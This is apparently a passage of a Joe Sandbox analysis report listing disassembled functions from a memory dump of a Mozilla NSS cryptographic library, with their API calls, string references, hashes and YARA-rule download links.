Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 6dc95bfc0eb74b927c2cc2bac7fc9dee47c80b3f071ed92d5547974ea85172cd
Instruction ID: d16f2d4d881b2608c1cbe58cfc6de2e18870f4d169d1b14b1d0ee42c2449b29c
Opcode Fuzzy Hash: 6dc95bfc0eb74b927c2cc2bac7fc9dee47c80b3f071ed92d5547974ea85172cd
Instruction Fuzzy Hash: 9A6144B1E003899BEF018FA4CD20BEE73B6FF4470CF154128E91A56A62EB71A954DB41

Function 6CED4DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CED536F,00000022,?,?,00000000,?), ref: 6CED4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CED4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CED4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CED4FAE
free.MOZGLUE(?), ref: 6CED4FC8

Strings

%s=%c%s%c, xrefs: 6CED4FA9
oSl", xrefs: 6CED4DFB, 6CED4EF4, 6CED4EC5
%s=%s, xrefs: 6CED4F89

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSl"
API String ID: 2709355791-450401312
Opcode ID: 1e42e841d6a0e587cfaa3033ea81d127c83eb1049c3373c7f0781c0230ece55b
Instruction ID: dd4b8512e14cb15bf7c3c4062938e7bb16a1e836aee3ca0df1a5f6879d3e01cb
Opcode Fuzzy Hash: 1e42e841d6a0e587cfaa3033ea81d127c83eb1049c3373c7f0781c0230ece55b
Instruction Fuzzy Hash: 7F514D61A0414B9BEB01CB69C4517FF7BF59F6630CF3A4117EC94ABB40D325A9078791

Function 6CEFEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6CF1A4A1,?,00000000,?,00000001), ref: 6CEFEF6D

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

htonl.WSOCK32(00000000,?,6CF1A4A1,?,00000000,?,00000001), ref: 6CEFEFE4
htonl.WSOCK32(?,00000000,?,6CF1A4A1,?,00000000,?,00000001), ref: 6CEFEFF1
memcpy.VCRUNTIME140(?,?,6CF1A4A1,?,00000000,?,6CF1A4A1,?,00000000,?,00000001), ref: 6CEFF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CF1A4A1,?,00000000,?,00000001), ref: 6CEFF027

Strings

dtls13, xrefs: 6CEFEF33

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 627fdaee89cfa889aadc77328db396bd22e49bab4ab92be6c2b68380bbefe5d9
Instruction ID: a71179f36165406ee8941e3eed4da368dcbe72ddc7e6ca19b1f0af03e8096775
Opcode Fuzzy Hash: 627fdaee89cfa889aadc77328db396bd22e49bab4ab92be6c2b68380bbefe5d9
Instruction Fuzzy Hash: 7931E372A01611AFD710DF28DC41B8AB7F4AF4934CF258029E8289B751E731F916CBE1

Function 6CE7AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE7AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CF99500,6CE73F91), ref: 6CE7AFD2

Part of subcall function 6CECB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFA18D0,?), ref: 6CECB095

DER_GetInteger_Util.NSS3(?), ref: 6CE7B007

Part of subcall function 6CEC6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CE71666,?,6CE7B00C,?), ref: 6CEC6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CE7B02F
PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CE7B046
PL_FreeArenaPool.NSS3 ref: 6CE7B058
PL_FinishArenaPool.NSS3 ref: 6CE7B060

Strings

security, xrefs: 6CE7AFB8

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 6df5da3cd77938430d30630cbefa0a8dc56ebd7338a431c19c70bb51f67807ec
Instruction ID: 0bf511e067a941b2c047e2f50116cf2d69457402eed8cfdfb26930430e2021f2
Opcode Fuzzy Hash: 6df5da3cd77938430d30630cbefa0a8dc56ebd7338a431c19c70bb51f67807ec
Instruction Fuzzy Hash: C3310871804300DBDB208F249849BAA77B4AF8632CF24061DE8759BBD1E732950AC7A7

Function 6CE73E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6CE740D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CE73F7F,?,00000055,?,?,6CE71666,?,?), ref: 6CE740D9
Part of subcall function 6CE740D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CE71666,?,?), ref: 6CE740FC
Part of subcall function 6CE740D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CE71666,?,?), ref: 6CE74138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE73EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE73ED6

Part of subcall function 6CECB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFA18D0,?), ref: 6CECB095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE73EEE

Part of subcall function 6CECFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEC8D2D,?,00000000,?), ref: 6CECFB85
Part of subcall function 6CECFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CECFBB1

PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CE73F02
PL_FreeArenaPool.NSS3 ref: 6CE73F14
PL_FinishArenaPool.NSS3 ref: 6CE73F1C

Part of subcall function 6CED64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CED127C,00000000,00000000,00000000), ref: 6CED650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE73F27

Strings

security, xrefs: 6CE73EBC

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 40a576234cc153c1246a5e399c1c19ab1fcfe10d3757834ecc614d273302e428
Instruction ID: 65f1b6165c9cbf9312be930cec4f565ac1fbc92bef6aa4dc20107cf88f667ca8
Opcode Fuzzy Hash: 40a576234cc153c1246a5e399c1c19ab1fcfe10d3757834ecc614d273302e428
Instruction Fuzzy Hash: 2B210AB1A04300ABD3149B15AC02F9B77B8FB4435CF15093DF959A7741E731E918C7A6

Function 6CEBCC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CEBCD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CEBCE16
PR_SetError.NSS3(00000000,00000000), ref: 6CEBD079

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 8858d5aa1f977c3943ceb8e79470fdfe04157c3fbdee411b07e2fd27089dd86e
Instruction ID: 1a7f68d7344160a40d14dea99891f3df13694e61ac57233254d63b5ea28fd6b9
Opcode Fuzzy Hash: 8858d5aa1f977c3943ceb8e79470fdfe04157c3fbdee411b07e2fd27089dd86e
Instruction Fuzzy Hash: 8CC1AEB5A002199BDB11CF24CD80BEAB7B5BF48318F2441A8E948A7741E775EE95CF90

Function 6CE83C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6CE83C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE83C94

Part of subcall function 6CE795B0: TlsGetValue.KERNEL32(00000000,?,6CE900D2,00000000), ref: 6CE795D2
Part of subcall function 6CE795B0: EnterCriticalSection.KERNEL32(?,?,?,6CE900D2,00000000), ref: 6CE795E7
Part of subcall function 6CE795B0: PR_Unlock.NSS3(?,?,?,?,6CE900D2,00000000), ref: 6CE79605

PORT_NewArena_Util.NSS3(00000800), ref: 6CE83CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CE83CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6CE83CE1

Part of subcall function 6CE83090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE9AE42), ref: 6CE830AA
Part of subcall function 6CE83090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE830C7
Part of subcall function 6CE83090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE830E5
Part of subcall function 6CE83090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE83116
Part of subcall function 6CE83090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE8312B
Part of subcall function 6CE83090: PK11_DestroyObject.NSS3(?,?), ref: 6CE83154
Part of subcall function 6CE83090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE8317E

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: e816c968028da1b31738391abe74f3582a16e01d69491dd76992ffb0f00d8997
Instruction ID: 25f20a99c55b81dbaa34ddd00264148f85c41808f3ab2e170e451aac5bd4bbd4
Opcode Fuzzy Hash: e816c968028da1b31738391abe74f3582a16e01d69491dd76992ffb0f00d8997
Instruction Fuzzy Hash: 0A61C5B5A01300ABEF105EA5DD41FA776B9EF0474CF284028EE09AAB52F731D914C7B1

Function 6CEC3D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6CEC3440: PK11_GetAllTokens.NSS3 ref: 6CEC3481
Part of subcall function 6CEC3440: PR_SetError.NSS3(00000000,00000000), ref: 6CEC34A3
Part of subcall function 6CEC3440: TlsGetValue.KERNEL32 ref: 6CEC352E
Part of subcall function 6CEC3440: EnterCriticalSection.KERNEL32(?), ref: 6CEC3542
Part of subcall function 6CEC3440: PR_Unlock.NSS3(?), ref: 6CEC355B

TlsGetValue.KERNEL32 ref: 6CEC3D8B
EnterCriticalSection.KERNEL32(?), ref: 6CEC3D9F
PR_Unlock.NSS3(?), ref: 6CEC3DCA
PR_SetError.NSS3(00000000,00000000), ref: 6CEC3DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CEC3E4F

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

TlsGetValue.KERNEL32 ref: 6CEC3E97
EnterCriticalSection.KERNEL32(?), ref: 6CEC3EAB
PR_Unlock.NSS3(?), ref: 6CEC3ED6
PR_SetError.NSS3(00000000,00000000), ref: 6CEC3EEE

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: 499083ac05a33fdd371658151c49ead4085e970ce0d1205e3857934a5cb38e6b
Instruction ID: 0e7de7ede62f517b5cbeb4bb84b14a39838b2741860d7dac4046c4f2f56ca238
Opcode Fuzzy Hash: 499083ac05a33fdd371658151c49ead4085e970ce0d1205e3857934a5cb38e6b
Instruction Fuzzy Hash: 0A515575F003009FDB01AF29D944BAA77B0AF4631CF250128EE294BB12EB31E944CBC2

Function 6CE72C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(1DB07238), ref: 6CE72C5D

Part of subcall function 6CED0D30: calloc.MOZGLUE ref: 6CED0D50
Part of subcall function 6CED0D30: TlsGetValue.KERNEL32 ref: 6CED0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CE72C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE72CE0

Part of subcall function 6CE72E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE72CDA,?,00000000), ref: 6CE72E1E
Part of subcall function 6CE72E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CE72E33
Part of subcall function 6CE72E00: TlsGetValue.KERNEL32 ref: 6CE72E4E
Part of subcall function 6CE72E00: EnterCriticalSection.KERNEL32(?), ref: 6CE72E5E
Part of subcall function 6CE72E00: PL_HashTableLookup.NSS3(?), ref: 6CE72E71
Part of subcall function 6CE72E00: PL_HashTableRemove.NSS3(?), ref: 6CE72E84
Part of subcall function 6CE72E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CE72E96
Part of subcall function 6CE72E00: PR_Unlock.NSS3 ref: 6CE72EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE72D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CE72D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CE72D3F
free.MOZGLUE(00000000), ref: 6CE72D73
CERT_DestroyCertificate.NSS3(?), ref: 6CE72DB8
free.MOZGLUE ref: 6CE72DC8

Part of subcall function 6CE73E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE73EC2
Part of subcall function 6CE73E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE73ED6
Part of subcall function 6CE73E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE73EEE
Part of subcall function 6CE73E60: PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CE73F02
Part of subcall function 6CE73E60: PL_FreeArenaPool.NSS3 ref: 6CE73F14
Part of subcall function 6CE73E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE73F27

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 6e0dde0b96f6ebefc2024c63676fcb36aa4e7f0f97e1cae589828737ba20fc16
Instruction ID: 30e6f76e1563e1a7d20a582bb71da4d097bd1988848cd01b526b20179ed0b09a
Opcode Fuzzy Hash: 6e0dde0b96f6ebefc2024c63676fcb36aa4e7f0f97e1cae589828737ba20fc16
Instruction Fuzzy Hash: 0051DC71A04312DBEB219E29DD88B5B77F5EFA434CF25042CE95987710E731E815CBA2

Function 6CE98F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE98FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE98FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE98FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE99013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE99042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE9905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE99073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE990EC

Part of subcall function 6CE60F00: PR_GetPageSize.NSS3(6CE60936,FFFFE8AE,?,6CDF16B7,00000000,?,6CE60936,00000000,?,6CDF204A), ref: 6CE60F1B
Part of subcall function 6CE60F00: PR_NewLogModule.NSS3(clock,6CE60936,FFFFE8AE,?,6CDF16B7,00000000,?,6CE60936,00000000,?,6CDF204A), ref: 6CE60F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE99111

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: ed9928e2ebc50bb60285e963fe6cf3224e6da0070ee182c287364b2d18fe4f9a
Instruction ID: af3fef76a18198259a7b8944d5eecf73a608fe60c625a01d5da128d0d271dad0
Opcode Fuzzy Hash: ed9928e2ebc50bb60285e963fe6cf3224e6da0070ee182c287364b2d18fe4f9a
Instruction Fuzzy Hash: F1519875A146148FCF40EF39C488399BBF0BF0A318F265569DC499BB16EB31E885CB81

Function 6CE77CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE740D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CE73F7F,?,00000055,?,?,6CE71666,?,?), ref: 6CE740D9
Part of subcall function 6CE740D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CE71666,?,?), ref: 6CE740FC
Part of subcall function 6CE740D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CE71666,?,?), ref: 6CE74138

PR_GetCurrentThread.NSS3 ref: 6CE77CFD

Part of subcall function 6CF39BF0: TlsGetValue.KERNEL32(?,?,?,6CF80A75), ref: 6CF39C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6CF99030), ref: 6CE77D1B

Part of subcall function 6CECFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CE71A3E,00000048,00000054), ref: 6CECFD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6CF99048), ref: 6CE77D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CE77D50
PR_GetCurrentThread.NSS3 ref: 6CE77D61
PORT_ArenaMark_Util.NSS3(?), ref: 6CE77D7D
free.MOZGLUE(?), ref: 6CE77D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6CE77DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CE77E19

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 646afab84c9bff3ed2afd2d32a15d3bc2cc4b93ee986a7ebf787ebc906a2658b
Instruction ID: c9a40bbbc6a407d3d129eb324fdc1444973399d6e06106bcba22b27a945c5140
Opcode Fuzzy Hash: 646afab84c9bff3ed2afd2d32a15d3bc2cc4b93ee986a7ebf787ebc906a2658b
Instruction Fuzzy Hash: 7D41F872A0011A9BDB118E699D41BAF37B4EF4235CF250124ED19A7750EB31ED15C7F1

Function 6CE87EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6CE880DD), ref: 6CE87F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6CE880DD), ref: 6CE87F36
free.MOZGLUE(?,?,?,6CE880DD), ref: 6CE87F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6CE880DD), ref: 6CE87F5D
DeleteCriticalSection.KERNEL32(?,6CE880DD), ref: 6CE87F94
free.MOZGLUE(?), ref: 6CE87F9B
PR_SetError.NSS3(FFFFE08B,00000000,6CE880DD), ref: 6CE87FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6CE880DD), ref: 6CE87FE6
